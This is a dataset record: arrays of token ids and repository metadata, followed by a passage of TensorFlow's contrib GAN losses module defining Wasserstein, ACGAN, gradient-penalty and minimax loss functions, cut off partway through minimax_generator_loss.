[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 961, 570, 365, 1777, 402, 6061, 293, 15606, 14, 199, 3, 199, 3, 1898, 334, 35, 9, 6029, 12, 1626, 898, 89, 8055, 12712, 665, 3424, 12712, 737, 307, 16, 84, 16, 14, 4391, 30, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 6061, 293, 15606, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 6061, 293, 15606, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 6061, 293, 15606, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 2748, 14, 14338, 14, 14338, 1208, 492, 4772, 199, 646, 984, 12, 747, 199, 504, 8691, 492, 13491, 199, 199, 504, 436, 293, 15606, 14, 1018, 14, 460, 293, 2268, 492, 6061, 293, 15606, 199, 504, 436, 293, 15606, 14, 1018, 14, 10466, 492, 11284, 199, 199, 1422, 63, 16, 275, 469, 283, 354, 7, 520, 12291, 73, 297, 2850, 1210, 659, 283, 3437, 7, 520, 283, 1501, 1324, 297, 283, 15929, 7, 520, 413, 789, 199, 1422, 63, 17, 275, 469, 283, 354, 7, 520, 12291, 79, 297, 2850, 1199, 659, 283, 3437, 7, 520, 283, 1501, 1072, 402, 314, 671, 71, 596, 76, 297, 283, 15929, 7, 520, 413, 789, 199, 1422, 63, 18, 275, 469, 283, 354, 7, 520, 12291, 70, 297, 2850, 5777, 659, 283, 3437, 7, 520, 283, 2613, 805, 4882, 297, 283, 1287, 7, 520, 283, 835, 7, 789, 199, 1422, 63, 19, 275, 469, 283, 354, 7, 520, 12291, 69, 297, 2850, 24688, 659, 283, 3437, 7, 520, 283, 2613, 21815, 805, 4882, 297, 283, 1287, 7, 520, 283, 835, 7, 789, 199, 1422, 63, 20, 275, 469, 283, 354, 7, 520, 12291, 86, 297, 2850, 1023, 659, 283, 3437, 7, 520, 283, 1023, 402, 314, 3261, 297, 283, 1287, 7, 520, 283, 835, 7, 789, 199, 199, 1419, 275, 359, 1422, 63, 16, 12, 945, 63, 17, 12, 945, 63, 18, 12, 945, 63, 19, 12, 945, 63, 20, 61, 199, 199, 18383, 63, 998, 275, 1052, 199, 21043, 63, 18383, 63, 998, 275, 1052, 199, 2826, 4448, 63, 998, 275, 1052, 199, 1149, 39, 654, 63, 998, 275, 1052, 199, 199, 8063, 63, 25302, 948, 275, 469, 2043, 298, 25140, 2, 520, 469, 326, 298, 72, 2, 520, 3388, 14, 16, 12, 326, 298, 87, 2, 520, 3388, 14, 16, 12, 326, 298, 466, 2, 520, 298, 14952, 1772, 899, 401, 326, 298, 2063, 2, 520, 413, 12, 326, 298, 4498, 2, 520, 5426, 69, 17, 69, 17, 69, 17, 401, 326, 298, 11550, 2, 520, 5426, 3273, 401, 2049, 1660, 8410, 298, 18587, 2, 520, 469, 326, 298, 72, 2, 520, 3388, 14, 16, 12, 326, 298, 87, 2, 520, 3388, 14, 16, 12, 326, 298, 466, 2, 520, 298, 14952, 1772, 899, 401, 326, 298, 2063, 2, 520, 413, 12, 326, 298, 4498, 2, 520, 5426, 556, 24, 67, 383, 401, 326, 298, 11550, 2, 520, 5426, 3273, 401, 2049, 789, 199, 93, 199, 199, 1149, 4962, 63, 25302, 948, 275, 469, 2043, 298, 4128, 2, 520, 469, 2049, 298, 2063, 2, 520, 499, 12, 2049, 298, 4498, 2, 520, 5426, 993, 69, 17, 401, 2043, 1660, 8410, 298, 3003, 71, 2, 520, 469, 2049, 298, 2063, 2, 520, 650, 12, 2049, 298, 4498, 2, 520, 5426, 25, 645, 68, 708, 401, 2043, 1660, 8410, 298, 2829, 12595, 2, 520, 469, 2049, 298, 2063, 2, 520, 650, 12, 2049, 298, 4498, 2, 520, 5426, 11292, 1493, 401, 2043, 789, 199, 93, 199, 199, 318, 664, 63, 932, 63, 354, 8, 765, 12, 14027, 304, 272, 372, 2071, 83, 3295, 83, 3295, 83, 2, 450, 334, 1083, 14, 362, 63, 533, 63, 354, 1062, 4772, 8, 2501, 14, 354, 395, 4772, 8, 765, 14, 362, 63, 4120, 1012, 776, 199, 199, 318, 4843, 63, 88, 71, 596, 76, 63, 4128, 8, 71, 12, 6111, 304, 272, 1083, 275, 486, 14, 362, 63, 765, 342, 339, 536, 275, 1083, 14, 362, 63, 354, 342, 272, 1021, 63, 354, 275, 1083, 14, 362, 63, 533, 63, 354, 342, 272, 5872, 275, 1083, 14, 362, 63, 4120, 342, 339, 340, 1083, 14, 362, 63, 600, 342, 1137, 488, 26, 267, 1568, 63, 3617, 275, 1083, 14, 362, 63, 600, 1252, 362, 63, 1267, 342, 339, 367, 284, 315, 486, 14, 4316, 63, 4166, 14, 362, 837, 267, 6111, 14, 952, 6757, 932, 1305, 26766, 68, 4451, 1768, 26766, 83, 60, 14559, 78, 2, 450, 334, 552, 8, 2826, 4448, 63, 998, 395, 664, 63, 932, 63, 354, 8, 765, 12, 284, 1724, 398, 6111, 14, 952, 6757, 6796, 730, 8178, 875, 4451, 536, 8178, 19851, 4451, 574, 26766, 83, 4451, 15, 3072, 78, 2, 450, 334, 3765, 8, 533, 63, 354, 1724, 267, 6111, 14, 952, 6757, 6796, 730, 8178, 875, 4451, 536, 8178, 354, 4451, 574, 26766, 83, 4451, 15, 3072, 78, 2, 450, 334, 3765, 8, 354, 1724, 267, 6111, 14, 952, 6757, 6796, 730, 8178, 875, 4451, 536, 8178, 4120, 4451, 574, 26766, 83, 4451, 15, 3072, 78, 2, 450, 334, 3765, 8, 4120, 1724, 398, 6111, 14, 952, 6757, 6796, 730, 8178, 4115, 4451, 536, 8178, 2743, 4451, 574, 26766, 68, 4451, 15, 3072, 78, 2, 450, 334, 73, 14, 928, 430, 398, 824, 275, 4825, 1093, 63, 25302, 948, 905, 25140, 937, 267, 3462, 275, 824, 905, 2063, 937, 267, 5554, 275, 824, 905, 4498, 937, 398, 327, 3091, 1982, 2263 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 3, 961, 570, 365, 1777, 402, 6061, 293, 15606, 14, 199, 3, 199, 3, 1898, 334, 35, 9, 6029, 12, 1626, 898, 89, 8055, 12712, 665, 3424, 12712, 737, 307, 16, 84, 16, 14, 4391, 30, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 6061, 293, 15606, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 6061, 293, 15606, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 844, 199, 3, 3180, 543, 6061, 293, 15606, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 2748, 14, 14338, 14, 14338, 1208, 492, 4772, 199, 646, 984, 12, 747, 199, 504, 8691, 492, 13491, 199, 199, 504, 436, 293, 15606, 14, 1018, 14, 460, 293, 2268, 492, 6061, 293, 15606, 199, 504, 436, 293, 15606, 14, 1018, 14, 10466, 492, 11284, 199, 199, 1422, 63, 16, 275, 469, 283, 354, 7, 520, 12291, 73, 297, 2850, 1210, 659, 283, 3437, 7, 520, 283, 1501, 1324, 297, 283, 15929, 7, 520, 413, 789, 199, 1422, 63, 17, 275, 469, 283, 354, 7, 520, 12291, 79, 297, 2850, 1199, 659, 283, 3437, 7, 520, 283, 1501, 1072, 402, 314, 671, 71, 596, 76, 297, 283, 15929, 7, 520, 413, 789, 199, 1422, 63, 18, 275, 469, 283, 354, 7, 520, 12291, 70, 297, 2850, 5777, 659, 283, 3437, 7, 520, 283, 2613, 805, 4882, 297, 283, 1287, 7, 520, 283, 835, 7, 789, 199, 1422, 63, 19, 275, 469, 283, 354, 7, 520, 12291, 69, 297, 2850, 24688, 659, 283, 3437, 7, 520, 283, 2613, 21815, 805, 4882, 297, 283, 1287, 7, 520, 283, 835, 7, 789, 199, 1422, 63, 20, 275, 469, 283, 354, 7, 520, 12291, 86, 297, 2850, 1023, 659, 283, 3437, 7, 520, 283, 1023, 402, 314, 3261, 297, 283, 1287, 7, 520, 283, 835, 7, 789, 199, 199, 1419, 275, 359, 1422, 63, 16, 12, 945, 63, 17, 12, 945, 63, 18, 12, 945, 63, 19, 12, 945, 63, 20, 61, 199, 199, 18383, 63, 998, 275, 1052, 199, 21043, 63, 18383, 63, 998, 275, 1052, 199, 2826, 4448, 63, 998, 275, 1052, 199, 1149, 39, 654, 63, 998, 275, 1052, 199, 199, 8063, 63, 25302, 948, 275, 469, 2043, 298, 25140, 2, 520, 469, 326, 298, 72, 2, 520, 3388, 14, 16, 12, 326, 298, 87, 2, 520, 3388, 14, 16, 12, 326, 298, 466, 2, 520, 298, 14952, 1772, 899, 401, 326, 298, 2063, 2, 520, 413, 12, 326, 298, 4498, 2, 520, 5426, 69, 17, 69, 17, 69, 17, 401, 326, 298, 11550, 2, 520, 5426, 3273, 401, 2049, 1660, 8410, 298, 18587, 2, 520, 469, 326, 298, 72, 2, 520, 3388, 14, 16, 12, 326, 298, 87, 2, 520, 3388, 14, 16, 12, 326, 298, 466, 2, 520, 298, 14952, 1772, 899, 401, 326, 298, 2063, 2, 520, 413, 12, 326, 298, 4498, 2, 520, 5426, 556, 24, 67, 383, 401, 326, 298, 11550, 2, 520, 5426, 3273, 401, 2049, 789, 199, 93, 199, 199, 1149, 4962, 63, 25302, 948, 275, 469, 2043, 298, 4128, 2, 520, 469, 2049, 298, 2063, 2, 520, 499, 12, 2049, 298, 4498, 2, 520, 5426, 993, 69, 17, 401, 2043, 1660, 8410, 298, 3003, 71, 2, 520, 469, 2049, 298, 2063, 2, 520, 650, 12, 2049, 298, 4498, 2, 520, 5426, 25, 645, 68, 708, 401, 2043, 1660, 8410, 298, 2829, 12595, 2, 520, 469, 2049, 298, 2063, 2, 520, 650, 12, 2049, 298, 4498, 2, 520, 5426, 11292, 1493, 401, 2043, 789, 199, 93, 199, 199, 318, 664, 63, 932, 63, 354, 8, 765, 12, 14027, 304, 272, 372, 2071, 83, 3295, 83, 3295, 83, 2, 450, 334, 1083, 14, 362, 63, 533, 63, 354, 1062, 4772, 8, 2501, 14, 354, 395, 4772, 8, 765, 14, 362, 63, 4120, 1012, 776, 199, 199, 318, 4843, 63, 88, 71, 596, 76, 63, 4128, 8, 71, 12, 6111, 304, 272, 1083, 275, 486, 14, 362, 63, 765, 342, 339, 536, 275, 1083, 14, 362, 63, 354, 342, 272, 1021, 63, 354, 275, 1083, 14, 362, 63, 533, 63, 354, 342, 272, 5872, 275, 1083, 14, 362, 63, 4120, 342, 339, 340, 1083, 14, 362, 63, 600, 342, 1137, 488, 26, 267, 1568, 63, 3617, 275, 1083, 14, 362, 63, 600, 1252, 362, 63, 1267, 342, 339, 367, 284, 315, 486, 14, 4316, 63, 4166, 14, 362, 837, 267, 6111, 14, 952, 6757, 932, 1305, 26766, 68, 4451, 1768, 26766, 83, 60, 14559, 78, 2, 450, 334, 552, 8, 2826, 4448, 63, 998, 395, 664, 63, 932, 63, 354, 8, 765, 12, 284, 1724, 398, 6111, 14, 952, 6757, 6796, 730, 8178, 875, 4451, 536, 8178, 19851, 4451, 574, 26766, 83, 4451, 15, 3072, 78, 2, 450, 334, 3765, 8, 533, 63, 354, 1724, 267, 6111, 14, 952, 6757, 6796, 730, 8178, 875, 4451, 536, 8178, 354, 4451, 574, 26766, 83, 4451, 15, 3072, 78, 2, 450, 334, 3765, 8, 354, 1724, 267, 6111, 14, 952, 6757, 6796, 730, 8178, 875, 4451, 536, 8178, 4120, 4451, 574, 26766, 83, 4451, 15, 3072, 78, 2, 450, 334, 3765, 8, 4120, 1724, 398, 6111, 14, 952, 6757, 6796, 730, 8178, 4115, 4451, 536, 8178, 2743, 4451, 574, 26766, 68, 4451, 15, 3072, 78, 2, 450, 334, 73, 14, 928, 430, 398, 824, 275, 4825, 1093, 63, 25302, 948, 905, 25140, 937, 267, 3462, 275, 824, 905, 2063, 937, 267, 5554, 275, 824, 905, 4498, 937, 398, 327, 3091, 1982, 2263, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rabipanda/tensorflow
tensorflow/contrib/gan/python/losses/python/losses_impl.py
4
39030
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Losses that are useful for training GANs. The losses belong to two main groups, but there are others that do not: 1) xxxxx_generator_loss 2) xxxxx_discriminator_loss Example: 1) wasserstein_generator_loss 2) wasserstein_discriminator_loss Other example: wasserstein_gradient_penalty All losses must be able to accept 1D or 2D Tensors, so as to be compatible with patchGAN style losses (https://arxiv.org/abs/1611.07004). To make these losses usable in the TFGAN framework, please create a tuple version of the losses with `losses_utils.py`. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from tensorflow.contrib.framework.python.ops import variables as contrib_variables_lib from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_util from tensorflow.python.ops import array_ops from tensorflow.python.ops import clip_ops from tensorflow.python.ops import gradients_impl from tensorflow.python.ops import math_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops.distributions import distribution as ds from tensorflow.python.ops.losses import losses from tensorflow.python.ops.losses import util from tensorflow.python.summary import summary __all__ = [ 'acgan_discriminator_loss', 'acgan_generator_loss', 'least_squares_discriminator_loss', 'least_squares_generator_loss', 'modified_discriminator_loss', 'modified_generator_loss', 'minimax_discriminator_loss', 'minimax_generator_loss', 'wasserstein_discriminator_loss', 'wasserstein_generator_loss', 'wasserstein_gradient_penalty', 'mutual_information_penalty', 'combine_adversarial_loss', 'cycle_consistency_loss', ] # Wasserstein losses from `Wasserstein GAN` (https://arxiv.org/abs/1701.07875). def wasserstein_generator_loss( discriminator_gen_outputs, weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Wasserstein generator loss for GANs. See `Wasserstein GAN` (https://arxiv.org/abs/1701.07875) for more details. Args: discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_gen_outputs`, and must be broadcastable to `discriminator_gen_outputs` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add detailed summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ with ops.name_scope(scope, 'generator_wasserstein_loss', ( discriminator_gen_outputs, weights)) as scope: discriminator_gen_outputs = math_ops.to_float(discriminator_gen_outputs) loss = - discriminator_gen_outputs loss = losses.compute_weighted_loss( loss, weights, scope, loss_collection, reduction) if add_summaries: summary.scalar('generator_wass_loss', loss) return loss def wasserstein_discriminator_loss( discriminator_real_outputs, discriminator_gen_outputs, real_weights=1.0, generated_weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Wasserstein discriminator loss for GANs. See `Wasserstein GAN` (https://arxiv.org/abs/1701.07875) for more details. Args: discriminator_real_outputs: Discriminator output on real data. discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). real_weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_real_outputs`, and must be broadcastable to `discriminator_real_outputs` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). generated_weights: Same as `real_weights`, but for `discriminator_gen_outputs`. scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ with ops.name_scope(scope, 'discriminator_wasserstein_loss', ( discriminator_real_outputs, discriminator_gen_outputs, real_weights, generated_weights)) as scope: discriminator_real_outputs = math_ops.to_float(discriminator_real_outputs) discriminator_gen_outputs = math_ops.to_float(discriminator_gen_outputs) discriminator_real_outputs.shape.assert_is_compatible_with( discriminator_gen_outputs.shape) loss_on_generated = losses.compute_weighted_loss( discriminator_gen_outputs, generated_weights, scope, loss_collection=None, reduction=reduction) loss_on_real = losses.compute_weighted_loss( discriminator_real_outputs, real_weights, scope, loss_collection=None, reduction=reduction) loss = loss_on_generated - loss_on_real util.add_loss(loss, loss_collection) if add_summaries: summary.scalar('discriminator_gen_wass_loss', loss_on_generated) summary.scalar('discriminator_real_wass_loss', loss_on_real) summary.scalar('discriminator_wass_loss', loss) return loss # ACGAN losses from `Conditional Image Synthesis With Auxiliary Classifier GANs` # (https://arxiv.org/abs/1610.09585). def acgan_discriminator_loss( discriminator_real_classification_logits, discriminator_gen_classification_logits, one_hot_labels, label_smoothing=0.0, real_weights=1.0, generated_weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """ACGAN loss for the discriminator. The ACGAN loss adds a classification loss to the conditional discriminator. Therefore, the discriminator must output a tuple consisting of (1) the real/fake prediction and (2) the logits for the classification (usually the last conv layer, flattened). For more details: ACGAN: https://arxiv.org/abs/1610.09585 Args: discriminator_real_classification_logits: Classification logits for real data. discriminator_gen_classification_logits: Classification logits for generated data. one_hot_labels: A Tensor holding one-hot labels for the batch. label_smoothing: A float in [0, 1]. If greater than 0, smooth the labels for "discriminator on real data" as suggested in https://arxiv.org/pdf/1701.00160 real_weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_real_outputs`, and must be broadcastable to `discriminator_real_outputs` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). generated_weights: Same as `real_weights`, but for `discriminator_gen_classification_logits`. scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. Shape depends on `reduction`. Raises: TypeError: If the discriminator does not output a tuple. """ with ops.name_scope( scope, 'acgan_discriminator_loss', (discriminator_real_classification_logits, discriminator_gen_classification_logits, one_hot_labels)) as scope: loss_on_generated = losses.softmax_cross_entropy( one_hot_labels, discriminator_gen_classification_logits, weights=generated_weights, scope=scope, loss_collection=None, reduction=reduction) loss_on_real = losses.softmax_cross_entropy( one_hot_labels, discriminator_real_classification_logits, weights=real_weights, label_smoothing=label_smoothing, scope=scope, loss_collection=None, reduction=reduction) loss = loss_on_generated + loss_on_real util.add_loss(loss, loss_collection) if add_summaries: summary.scalar('discriminator_gen_ac_loss', loss_on_generated) summary.scalar('discriminator_real_ac_loss', loss_on_real) summary.scalar('discriminator_ac_loss', loss) return loss def acgan_generator_loss( discriminator_gen_classification_logits, one_hot_labels, weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """ACGAN loss for the generator. The ACGAN loss adds a classification loss to the conditional discriminator. Therefore, the discriminator must output a tuple consisting of (1) the real/fake prediction and (2) the logits for the classification (usually the last conv layer, flattened). For more details: ACGAN: https://arxiv.org/abs/1610.09585 Args: discriminator_gen_classification_logits: Classification logits for generated data. one_hot_labels: A Tensor holding one-hot labels for the batch. weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_gen_classification_logits`, and must be broadcastable to `discriminator_gen_classification_logits` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. Shape depends on `reduction`. Raises: ValueError: if arg module not either `generator` or `discriminator` TypeError: if the discriminator does not output a tuple. """ with ops.name_scope( scope, 'acgan_generator_loss', (discriminator_gen_classification_logits, one_hot_labels)) as scope: loss = losses.softmax_cross_entropy( one_hot_labels, discriminator_gen_classification_logits, weights=weights, scope=scope, loss_collection=loss_collection, reduction=reduction) if add_summaries: summary.scalar('generator_ac_loss', loss) return loss # Wasserstein Gradient Penalty losses from `Improved Training of Wasserstein # GANs` (https://arxiv.org/abs/1704.00028). def wasserstein_gradient_penalty( real_data, generated_data, generator_inputs, discriminator_fn, discriminator_scope, epsilon=1e-10, weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """The gradient penalty for the Wasserstein discriminator loss. See `Improved Training of Wasserstein GANs` (https://arxiv.org/abs/1704.00028) for more details. Args: real_data: Real data. generated_data: Output of the generator. generator_inputs: Exact argument to pass to the generator, which is used as optional conditioning to the discriminator. discriminator_fn: A discriminator function that conforms to TFGAN API. discriminator_scope: If not `None`, reuse discriminators from this scope. epsilon: A small positive number added for numerical stability when computing the gradient norm. weights: Optional `Tensor` whose rank is either 0, or the same rank as `real_data` and `generated_data`, and must be broadcastable to them (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. Raises: ValueError: If the rank of data Tensors is unknown. """ with ops.name_scope(scope, 'wasserstein_gradient_penalty', (real_data, generated_data)) as scope: real_data = ops.convert_to_tensor(real_data) generated_data = ops.convert_to_tensor(generated_data) if real_data.shape.ndims is None: raise ValueError('`real_data` can\'t have unknown rank.') if generated_data.shape.ndims is None: raise ValueError('`generated_data` can\'t have unknown rank.') differences = generated_data - real_data batch_size = differences.shape[0].value or array_ops.shape(differences)[0] alpha_shape = [batch_size] + [1] * (differences.shape.ndims - 1) alpha = random_ops.random_uniform(shape=alpha_shape) interpolates = real_data + (alpha * differences) with ops.name_scope(None): # Clear scope so update ops are added properly. # Reuse variables if variables already exists. with variable_scope.variable_scope(discriminator_scope, 'gpenalty_dscope', reuse=variable_scope.AUTO_REUSE): disc_interpolates = discriminator_fn(interpolates, generator_inputs) if isinstance(disc_interpolates, tuple): # ACGAN case: disc outputs more than one tensor disc_interpolates = disc_interpolates[0] gradients = gradients_impl.gradients(disc_interpolates, interpolates)[0] gradient_squares = math_ops.reduce_sum( math_ops.square(gradients), axis=list(range(1, gradients.shape.ndims))) # Propagate shape information, if possible. if isinstance(batch_size, int): gradient_squares.set_shape([ batch_size] + gradient_squares.shape.as_list()[1:]) # For numerical stability, add epsilon to the sum before taking the square # root. Note tf.norm does not add epsilon. slopes = math_ops.sqrt(gradient_squares + epsilon) penalties = math_ops.square(slopes - 1.0) penalty = losses.compute_weighted_loss( penalties, weights, scope=scope, loss_collection=loss_collection, reduction=reduction) if add_summaries: summary.scalar('gradient_penalty_loss', penalty) return penalty # Original losses from `Generative Adversarial Nets` # (https://arxiv.org/abs/1406.2661). def minimax_discriminator_loss( discriminator_real_outputs, discriminator_gen_outputs, label_smoothing=0.25, real_weights=1.0, generated_weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Original minimax discriminator loss for GANs, with label smoothing. Note that the authors don't recommend using this loss. A more practically useful loss is `modified_discriminator_loss`. L = - real_weights * log(sigmoid(D(x))) - generated_weights * log(1 - sigmoid(D(G(z)))) See `Generative Adversarial Nets` (https://arxiv.org/abs/1406.2661) for more details. Args: discriminator_real_outputs: Discriminator output on real data. discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). label_smoothing: The amount of smoothing for positive labels. This technique is taken from `Improved Techniques for Training GANs` (https://arxiv.org/abs/1606.03498). `0.0` means no smoothing. real_weights: Optional `Tensor` whose rank is either 0, or the same rank as `real_data`, and must be broadcastable to `real_data` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). generated_weights: Same as `real_weights`, but for `generated_data`. scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ with ops.name_scope(scope, 'discriminator_minimax_loss', ( discriminator_real_outputs, discriminator_gen_outputs, real_weights, generated_weights, label_smoothing)) as scope: # -log((1 - label_smoothing) - sigmoid(D(x))) loss_on_real = losses.sigmoid_cross_entropy( array_ops.ones_like(discriminator_real_outputs), discriminator_real_outputs, real_weights, label_smoothing, scope, loss_collection=None, reduction=reduction) # -log(- sigmoid(D(G(x)))) loss_on_generated = losses.sigmoid_cross_entropy( array_ops.zeros_like(discriminator_gen_outputs), discriminator_gen_outputs, generated_weights, scope=scope, loss_collection=None, reduction=reduction) loss = loss_on_real + loss_on_generated util.add_loss(loss, loss_collection) if add_summaries: summary.scalar('discriminator_gen_minimax_loss', loss_on_generated) summary.scalar('discriminator_real_minimax_loss', loss_on_real) summary.scalar('discriminator_minimax_loss', loss) return loss def minimax_generator_loss( discriminator_gen_outputs, label_smoothing=0.0, weights=1.0, scope=None, loss_collection=ops.GraphKeys.LOSSES, reduction=losses.Reduction.SUM_BY_NONZERO_WEIGHTS, add_summaries=False): """Original minimax generator loss for GANs. Note that the authors don't recommend using this loss. A more practically useful loss is `modified_generator_loss`. L = log(sigmoid(D(x))) + log(1 - sigmoid(D(G(z)))) See `Generative Adversarial Nets` (https://arxiv.org/abs/1406.2661) for more details. Args: discriminator_gen_outputs: Discriminator output on generated data. Expected to be in the range of (-inf, inf). label_smoothing: The amount of smoothing for positive labels. This technique is taken from `Improved Techniques for Training GANs` (https://arxiv.org/abs/1606.03498). `0.0` means no smoothing. weights: Optional `Tensor` whose rank is either 0, or the same rank as `discriminator_gen_outputs`, and must be broadcastable to `discriminator_gen_outputs` (i.e., all dimensions must be either `1`, or the same as the corresponding dimension). scope: The scope for the operations performed in computing the loss. loss_collection: collection to which this loss will be added. reduction: A `tf.losses.Reduction` to apply to loss. add_summaries: Whether or not to add summaries for the loss. Returns: A loss Tensor. The shape depends on `reduction`. """ with 